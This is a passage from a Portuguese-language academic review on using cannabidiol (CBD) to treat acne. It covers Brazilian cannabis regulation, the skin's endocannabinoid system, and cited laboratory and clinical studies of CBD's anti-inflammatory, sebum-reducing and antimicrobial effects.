<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="414" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-132-1024x414.jpeg" alt="" class="wp-image-241851" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-132-1024x414.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-132-300x121.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-132-768x311.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-132-1536x621.jpeg 1536w, https://revistaft.com.br/wp-content/uploads/2025/10/image-132.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: adaptado de Barros et al. 2020</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2 </strong>– Principais métodos de tratamento da acne</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="434" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-133-1024x434.jpeg" alt="" class="wp-image-241852" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-133-1024x434.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-133-300x127.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-133-768x325.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-133-1536x651.jpeg 1536w, https://revistaft.com.br/wp-content/uploads/2025/10/image-133.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Barros et al. 2020; Brenner et al. 2006</p>



<p class="wp-block-paragraph">No entanto, o sucesso da terapia nestas situações ainda é restrito, uma vez que o uso prolongado de antibióticos tanto tópicos como sistêmicos, têm comprovado a resistência adquirida das cepas de <em>Cutibacterium acnes </em>tornando-se uma das principais razões em alguns casos para a ineficiência do tratamento da acne comum. Além disso, a utilização destes medicamentos tende a causar reações adversas como ressecamento e irritação. Por isso, constituintes naturais derivados de plantas (fitoquímicos), geralmente tidos como seguros, têm despertado grande interesse como uma alternativa de tratamento (CASTILLO, NANDA e KERI, 2019; CHUTOPRAPAT, KOPONGPANICH e CHAN, 2022).</p>



<p class="wp-block-paragraph"><strong>3.2</strong> <strong><em>Cannabis sativa: </em>Legislação, perspectivas e desafios</strong></p>



<p class="wp-block-paragraph">No Brasil, a maconha é considerada uma substância ilícita, sendo seu uso proibido. Contudo, desde 2014, há um movimento, especialmente liderado por pais de crianças com epilepsia e outras doenças, que busca a legalização medicinal, visando permitir a aquisição, o cultivo e o transporte. Com a divulgação na mídia dos benefícios do canabidiol, muitos pacientes têm buscado aprovação judicial para importar medicamentos que contêm o princípio ativo da maconha (BEZERRA et al. 2019).</p>



<p class="wp-block-paragraph">Em 2015, por meio da <em>Resolução da Diretoria Colegiada </em>(RDC) <em>nº 3</em>/2015, a Agência Nacional de Vigilância Sanitária (Anvisa), incluiu o CBD no catálogo de substâncias sujeitas ao controle especial, o que significa que o canabidiol deixou de ser uma substância proibida e passou a ser classificada como sendo de uso controlado (PORTELA, et al., 2023).</p>



<p class="wp-block-paragraph">Posteriormente em 2019, os pacientes em tratamento com canabidiol ganharam nova esperança com a RDC de nº327 aprovada pela ANVISA que dispõe sobre os procedimentos para a concessão da Autorização Sanitária para a fabricação e a importação, bem como estabelece requisitos para a comercialização, prescrição, a dispensação, o monitoramento e a fiscalização de produtos de <em>Cannabis </em>para fins medicinais, e dá outras providências (ANVISA, 2019, p.1).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“Art. 4° Os produtos de <em>Cannabis </em>contendo como ativos exclusivamente derivados vegetais ou fitofármacos da <em>Cannabis sativa, </em>devem possuir predominantemente, canabidiol (CBD) e não mais que 0,2% de tetrahidrocanabinol (THC). Parágrafo único. Os produtos de <em>Cannabis </em>poderão conter teor de THC acima de 0,2%, desde que sejam destinados a cuidados paliativos exclusivamente para pacientes sem outras alternativas terapêuticas e em situações clínicas irreversíveis ou terminais (ANVISA, 2019, p.3).”</p>
</blockquote>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“Art. 5° Os produtos de <em>Cannabis </em>podem ser prescritos quando estiverem esgotadas outras opções terapêuticas disponíveis no mercado brasileiro (ANVISA, 2019, p.3).”</p>
</blockquote>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“Art.10 &#8211; § 5° Não são considerados produtos de <em>Cannabis </em>para fins medicinais os cosméticos, produtos fumígenos, produtos para a saúde ou alimentos à base de <em>Cannabis spp. </em>e seus derivados (ANVISA, 2019, p.4).”</p>
</blockquote>



<p class="wp-block-paragraph">Em 2015, pela autoria do Deputado Federal Fábio Mitidieri (PSD/SE), o Projeto de Lei nº399/2015 foi apresentado visando inicialmente alterar o art.2º da Lei nº 11.343/2006, e posteriormente, passou a abranger não apenas o uso para fins medicinais, mas também para uso industrial e da pesquisa, como explicitado a seguir:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“Art2º &#8211; §2º Os medicamentos que contenham extratos, substratos, ou partes da planta denominada <em>Cannabis sativa, </em>ou substâncias canabinoides, poderão ser comercializados no território nacional, desde que exista comprovação de sua eficácia terapêutica, devidamente atestada mediante laudo médico para todos os casos de indicação de seu uso. (NR)” (BRASIL, 2015, p.1).</p>
</blockquote>



<p class="wp-block-paragraph">Em 2021, o Projeto de Lei (PL) 399/15 foi aprovado, autorizando o plantio de <em>Cannabis </em>para fins científicos ou medicinais, sob condições específicas e fiscalização rigorosa. O PL visa regulamentar o uso medicinal da planta, auxiliando pacientes cujos tratamentos convencionais são ineficazes ou causam efeitos colaterais (BRASIL, 2021).</p>



<p class="wp-block-paragraph">Em vista do exposto, apesar dos avanços apresentados pela PL nº 399/2015, o projeto enfrenta alguns desafios notáveis, como a proibição do autocultivo, o desafio para legalização de empresas que visam aderir ao projeto e principalmente, a preocupação com o comércio ilegal e aumento do tráfico de drogas (SILVA, BOTELHO e MULLER, 2023).</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>Principais componentes da <em>Cannabis sativa</em></strong></p>



<p class="wp-block-paragraph">Estudos <em>in vitro </em>e <em>in vivo</em>, incluindo um ensaio clínico de 12 semanas em humanos, evidenciam que os fitocanabinoides são capazes de reduzir a produção de sebo, inibir a proliferação de sebócitos e diminuir a expressão de citocinas pró-inflamatórias. Esse tratamento tópico demonstrou resultados positivos na diminuição do eritema e na produção de sebo (SCHEAU et al., 2020).</p>



<p class="wp-block-paragraph">No campo da pesquisa científica, a planta <em>Cannabis sativa</em>, da família Cannabaceae e popularmente conhecida como “maconha”, tem recebido atenção crescente. Ela produz uma ampla variedade de compostos, destacando-se entre seus metabólitos secundários os terpenos, polifenóis e canabinoides. Os canabinoides, embora representem menos de 20 moléculas, estão entre os metabólitos mais abundantes da planta (PENHA et al., 2019; FERREIRA, LOPES e AMARAL, 2024).</p>



<p class="wp-block-paragraph">Os canabinoides podem ser classificados em três grupos principais com base em sua origem (Tabela 3). Os endocanabinoides (ECBs) são compostos biossintetizados pelo próprio organismo, derivados do ácido araquidônico (AA) e sintetizados a partir de fosfolipídios da membrana celular. Já os Fitocanabinoides (PCBs) são substâncias extraídas diretamente das plantas, enquanto os canabinoides sintéticos (SCs) são obtidos por processos químico, com destaque para o dronabinol e a nabilona, que já estão amplamente disponíveis no mercado (FERREIRA, LOPES e AMARAL, 2024).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 3 </strong>– Classificação dos canabinoides e alguns de seus principais integrantes</p>



<figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="746" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-134-1024x746.jpeg" alt="" class="wp-image-241854" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-134-1024x746.jpeg 1024w, https://revistaft.com.br/wp-content/uploads/2025/10/image-134-300x218.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-134-768x559.jpeg 768w, https://revistaft.com.br/wp-content/uploads/2025/10/image-134.jpeg 1310w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: adaptado de Nietiedt, 2022</p>



<p class="wp-block-paragraph">Dentre os fitocanabinoides, o delta-9-tetrahidrocanabinol (THC) e o canabidiol (CBD) são os mais amplamente estudados. Enquanto o Δ9 -THC é um canabinoide psicoativo tendo como foco o sistema nervoso central, o CBD não possui esses efeitos entorpecentes e contém diversos efeitos farmacológicos vantajoso, incluindo efeitos anti-inflamatórios e antioxidantes. Além disso, estudos indicam a capacidade do CBD de modular a homeostase corporal através do Sistema Endocanabinoide, antagonizando receptores específicos distribuídos pelo corpo, principalmente na epiderme. Devido às suas propriedades terapêuticas, a utilização do CBD para tratamentos de várias condições, incluindo doenças de pele, estão sendo consideradas (DE VASCONCELOS et al, 2022; ATALAY, JAROCKA-KARPOWICZ e SKRZYDLEWSKA, 2020).</p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>Sistema endocanabinoide e seus receptores</strong></p>



<p class="wp-block-paragraph">O uso terapêutico da <em>Cannabis sativa </em>é reconhecido há bastante tempo, porém, o interesse em suas propriedades aumentou com a identificação de um sistema endocanabinoide (ECS). Esse sistema encontra-se amplamente distribuído pelo organismo, e desempenha um papel crucial em diversas funções fisiológicas, como alívio da dor, desenvolvimento embrionário, memória, resposta imunitária, entre outras. Ele é composto por uma rede de sinalização molecular que compreende os endocanabinoide, os receptores específicos acoplados à proteína G (GPCRs), receptores canabinoides 1 (CB1), e 2 (CB2), e enzimas que desempenham papéis essenciais no seu metabolismo. É através deste sistema, que os endocanabinoides desempenham suas funções (FONSECA et al., 2013; TEIXEIRA, 2023; FILIPIUC et al., 2023).</p>



<p class="wp-block-paragraph">O receptor CB1 é predominantemente encontrado no sistema nervoso central (SNC) e em menor quantidade em tecidos periféricos, estando associado aos efeitos psicoativos dos canabinoides. Já o receptor CB2, é expresso principalmente em células periféricas e imunológicas, apresentando baixa densidade no SNC, estando ligado às propriedades imunomoduladoras e anti-inflamatórias (SHERIFF et al., 2020; CORREIA, 2023).</p>



<p class="wp-block-paragraph">Estudos recentes apontaram a existência de um sistema endocanabinoide (ECS) específico na pele, sustentado pela identificação de ligantes endógenos para os receptores canabinoides tipo 1 (CB1R) e tipo 2 (CB2R) em células dérmicas, queratinócitos epidérmicos, melanócitos, mastócitos, glândulas sudoríparas, folículos capilares e fibras nervosas cutâneas. O ECS epidérmico desempenha um papel crucial na manutenção da homeostase e integridade da barreira cutânea, regulando funções neuro imunoendócrinas. Endocanabinoides como o 2- araquidonoil glicerol (2-AG) e a anandamida (AEA), ambos derivados do ácido araquidônico, têm recebido grande atenção por sua atuação central nesse sistema. A ligação de canabinoides aos receptores CB1R/CB2R provoca uma mudança conformacional que os ativa, desencadeando efeitos biológicos significativos na pele (FERREIRA, LOPES e AMARAL, 2024; SHERIFF et al., 2020).</p>



<p class="wp-block-paragraph">Em 2008, Debrosi e colaboradores conduziram uma pesquisa que demonstrou que os endocanabinoides AEA e 2-araquidonilglicerol aumentaram a síntese de lipídios e induziram a apoptose (morte programada) em sebócitos humanos, por meio da ativação do receptor canabinoide tipo 2 (CB2). Esses achados sugerem que antagonistas de CB2 podem ser eficazes no tratamento de doenças de pele associadas à disfunção das glândulas sebáceas, como a acne. Além dos receptores canabinoides, os endocanabinoides também se ligam aos receptores de potencial transitório (TRP) em diversas células da pele, desempenhando papéis importantes em processos como a manutenção da barreira cutânea, crescimento e diferenciação celular, além de funções imunológicas e inflamatórias (BASWAN et al., 2020).</p>



<p class="wp-block-paragraph">Dentre os fitocanabinoides, diferentemente do que se observa do THC, acredita-se que o Canabidiol não atue diretamente em receptores específicos, demonstrando baixa afinidade aos receptores CB1 e CB2. Dado esse contexto, é importante investigar outros possíveis alvos para o CBD, como os canais de potencial transitório (TRP) recentemente estudados (PEDRAZZI et al., 2014; ETEMAD et al, 2022).</p>



<p class="wp-block-paragraph"><strong>3.5</strong> <strong>Efeitos terapêuticos do CBD</strong></p>



<p class="wp-block-paragraph">De acordo com Castillo-Arellano e colaboradores (2023), o CBD é uma molécula complexa e multifacetada, ou seja, pode exercer diversas funções terapêuticas ao se ligar a diferentes alvos moleculares. Sua atividade inclui agir como agonista, agonista inverso ou antagonista em diversos receptores, além de atuar como modulador alostérico negativo (NAM) ou positivo (PAM). Adicionalmente, o CBD afeta várias enzimas, tanto neuroenzimas quanto enzimas do fígado (FERREIRA e BETTI, 2024).</p>



<p class="wp-block-paragraph">Pesquisas apontam a capacidade agonística do CBD com receptores TRPV1 e TRPA1, com efeitos antagônicos no canal TRPM8, envolvidos em processos de dor e inflamação, com um efeito de dessensibilização que reduz a liberação de citocinas pró-inflamatórias e neuropeptídeos, desempenhando um papel importante na saúde da pele (MACIEL, 2022).</p>



<p class="wp-block-paragraph">No estudo de Oláh et al. (2014), o CBD demonstrou efeitos antiacne ao inibir a lipogênese excessiva em sebócitos humanos induzida por agentes pró-acne, como ácido araquidônico e anandamida (AEA) em células SZ95 humanas, de forma dose-dependente. O CBD atuou como um agente sebostático, reduzindo a proliferação celular e a inflamação sem comprometer a viabilidade celular, além de normalizar a produção de lipídios. Esses efeitos são mediados pela ativação do receptor TRPV4 e a regulação da via pró lipogênica ERK1/2 MAPK, destacando o CBD como uma terapia promissora para a acne vulgar.</p>



<p class="wp-block-paragraph">Posteriormente em 2016, Oláh e sua equipe também buscaram comprovar o efeito antiacne de outros fitocanabinoides não psicotrópicos e observaram que o cannabigerol (CBG) e canabigerovarina (CBGV) possuem potencial para tratar a pele seca, enquanto canabicromeno (CBC), canabidivarina (CBDV) e Δ(9) &#8211; tetrahidro canabivarina (THCV) reduziram a lipogênese associada à acne. Além disso, demonstraram que todos os fitocanabinoides exerceram ações anti-inflamatórias notáveis, demonstrando serem seguros e eficientes no tratamento de inflamações cutâneas.</p>



<p class="wp-block-paragraph">Em 2018, Jim e Lee conduziram uma pesquisa utilizando extratos de hexano de semente de cânhamo (HSHE) para avaliar seus efeitos sobre a inflamação e lipogênese induzidas por <em>Cutibacterium acnes </em>em sebócitos. O mesmo estudo indicou que o HSHE apresentou propriedades anti-inflamatórias ao reduzir as expressões de duas importantes enzimas mediadoras da inflamação, a iNOS, COX-2, bem como das citocinas inflamatórias IL-1β e IL- 8, induzidas pelo <em>C.acnes. </em>Além disso, atividade anti lipogênica foi evidenciada pela inibição de 75% da enzima 5-lipoxigenase.</p>



<p class="wp-block-paragraph">Seguindo o mesmo estudo, os autores exploraram o potencial antimicrobiano do extrato de hexano de semente de cânhamo contra <em>C. acnes </em>em várias concentrações e observou-se que a 20% de HSHE alcançou a inibição de 99% suprimindo completamente o crescimento bacteriano, em comparação com a eritromicina, outro tratamento convencional para acne, que alcançou cerca de 67% de efetividade para o mesmo propósito (JIM e LEE, 2018).</p>



<p class="wp-block-paragraph">Vogl et al. (2004) reforçam os benefícios do cânhamo para o cuidado da pele, relatando a extração de óleos de semente de cânhamo em diferentes datas de colheita. O estudo encontrou concentrações significativas de ácidos graxos, como ácido linoleico e ácido alfa-linoleico, que são essenciais para a saúde da pele, demonstrando que o cânhamo é um recurso valioso para formulação cosmética.<br></p>



<p class="wp-block-paragraph">De igual modo, Blaskovich et al. (2021) revelaram que o CBD tem uma ação seletiva contra certas bactérias Gram-negativas, e um espectro de ação mais amplo contra bactérias Gram-positivas, incluindo <em>Cutibacterium acnes</em>. O mesmo estudo demonstrou que o CBD apresentou uma concentração inibitória mínima (CIM) entre 1 e 4 μg mL<sup>−1</sup> contra mais de 20 tipos de bactérias Gram-positivas, como <em>Staphylococcus aureus </em>resistente à meticillina (MRSA), <em>Streptococcus pneumoniae </em>multirresistente (MDR), <em>Enterococcus faecalis</em>, além de bactérias anaeróbicas como <em>Clostridioides difficile </em>e <em>Cutibacterium acnes</em>. Notavelmente, o CBD não induziu resistência após uso contínuo, sugerindo o potencial para mais pesquisas sobre esses compostos.</p>



<p class="wp-block-paragraph">O estudo de Cohen et al. (2023) demonstrou que a combinação do extrato de triterpeno de <em>Centella asiática </em>(CAT) com silimarina, derivada da fruta de <em>Silybum marianum</em>, apresenta uma atividade anti-inflamatória mais eficaz quando utilizada em conjunto com canabidiol (CBD), superando os efeitos observados com os ingredientes isoladamente. O CAT também intensificou a ação inibitória do CBD sobre o crescimento de <em>C. acnes</em>. Esses compostos foram incorporados em uma formulação tópica considerada segura e eficiente, que reduziu a produção excessiva de IL-6 e IL-8 sem comprometer a viabilidade das células epidérmicas. A pesquisa sugere que a combinação dos extratos com o CBD pode atuar de forma sinérgica no tratamento da acne, abordando diversos fatores patogênicos e reduzindo os possíveis efeitos adversos.</p>



<p class="wp-block-paragraph">Zendulka et al. (2016) afirmam que tanto os canabinoides endógenos quanto os exógenos passam por metabolismo hepático após serem administrados oralmente, o que afeta significativamente a biodisponibilidade da substância. Entretanto, devido à sua característica lipofílica, a ingestão junto a alimentos com bom teor de gordura pode aumentar sua absorção e, consequentemente, sua biodisponibilidade. Por outro lado, a administração transdérmica de canabinoides tem sido investigada como alternativa para evitar esse metaboslismo hepático, entretanto, por ser altamente hidrofóbico e lipofílico, esses compostos enfrentam dificuldades para atravessar camadas aquosas da pele. Portanto, o transporte apenas será eficaz como o aumento da permeação (MILLAR SA, et al.,2018; LUCAS, GALETTIS e SCHNEIDER, 2018).</p>



<p class="wp-block-paragraph">Seguindo o estudo de Lucas, Galettis e Schneider (2018) foi demonstrado que os canabinoides são inicialmente distribuídos em órgãos mais vascularizados, como cérebro e fígado, e, posteriormente, distribuem pelos tecidos menos vascularizados, sendo essa distribuição influenciada por fatores corporais e condições de saúde. Em casos de uso crônico, a substância tende a se acumular no tecido adiposo permitindo uma liberação gradual, prolongando sua atividade e seus efeitos. Posteriormente, após a metabolização no fígado, os metabólitos resultantes seguem para eliminação, principalmente através das fezes e em menor proporção, na urina, com um tempo de eliminação oral de 2 a 5 dias (FERREIRA e BETTI, 2024).</p>



<p class="wp-block-paragraph">De acordo com Lodzki et al. (2003), a administração transdérmica de CBD em camundongos, utilizando transportadores que facilitam a passagem dessa substância através da membrana, como os transportadores endossômicos, resultou em um acúmulo significativo da substância na pele e no músculo subjacente, comprovando não somente que tais transportadores são eficazes na permeação do CBD, como também o seu uso transdérmico preveniu inflamação e edema induzidos, indicando o potencial dessa forma de administração como um tratamento anti-inflamatório.</p>



<p class="wp-block-paragraph">Um estudo de Hammel et al. (2015), utilizando de aplicação tópica de CBD em forma de gel demonstraram eficácia na redução da inflamação com administração de 6,2 e 62 mg/dia, obtendo linearidade entre a concentração plasmática e a dose, sem efeitos colaterais evidentes. Paralelamente, um estudo utilizando pomada tópica com CBD realizado com 20 pacientes com distúrbios de pele, apresentou efetividade na redução da inflamação, sem reações adversas (PALMIERI, LAURINO e VADALÀ, 2019).</p>



<p class="wp-block-paragraph">Em 2015, Ali e Akhtar conduziram um estudo utilizando um creme contendo 3% de extrato de sementes de <em>Cannabis</em>, o qual demonstrou resultados positivos na redução da produção de sebo e no eritema da pele em comparação com outra base de creme sem ativos. Esses achados sugerem que o desenvolvimento desse tipo de loção pode ser promissor no tratamento não apenas da acne vulgar, mas também de outras condições dermatológicas.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">Dada a revisão, é possível observar que o canabidiol (CBD) tem emergido como uma alternativa promissora no tratamento da acne, devido às suas propriedades anti-inflamatórias, sebostáticas e antimicrobianas. Estudos sugerem que o CBD pode atuar diretamente nas glândulas sebáceas, regulando a produção de sebo e inibindo processos inflamatórios associados ao desenvolvimento da acne. Embora os resultados iniciais sejam encorajadores, são necessárias mais pesquisas clínicas para consolidar o uso do CBD como uma abordagem terapêutica eficaz, segura e de longo prazo no manejo da acne. Dessa forma, o CBD pode representar uma opção viável e menos invasiva em comparação aos tratamentos tradicionais, ampliando as possibilidades terapêuticas para pacientes que buscam alternativas naturais no controle desta condição dermatológica.</p>



<p class="wp-block-paragraph">Contudo, devido a escassa pesquisa que se tem documentado até o momento referente ao papel do CBD em seres humanos, mais informações ainda são necessários para investigar sua eficácia a longo prazo e evitar efeitos colaterais indesejados, já que muito permanece desconhecido sobre a complexidade das interações dos canabinoides com outros sistemas do corpo humano.</p>



<p class="wp-block-paragraph">No geral, as pesquisas realizadas até o momento, apresentam resultados positivos quanto a aplicação tópica do composto, demonstrando ser uma alternativa segura e sem efeitos colaterais significativos para pacientes que sofrem com distúrbios de pele como a acne.</p>



<p class="wp-block-paragraph">Outro ponto importante, é superar o “tabu” e a discriminação da planta para ampliar seu uso em pesquisas sobre seus benefícios terapêuticos e medicinais, portando a medida que a burocratização sob a <em>Cannabis </em>diminui mais possibilidades se tornam favoráveis para descoberta de novos medicamentos fazendo com que novas alternativas de tratamentos para inúmeras patologias como a acne possam serem implementadas. Portanto, à medida que mais provas da eficácia destas substâncias se tornam disponíveis, a utilização de canabinoides no tratamento de doenças de pele pode tornar-se convencional no futuro.</p>



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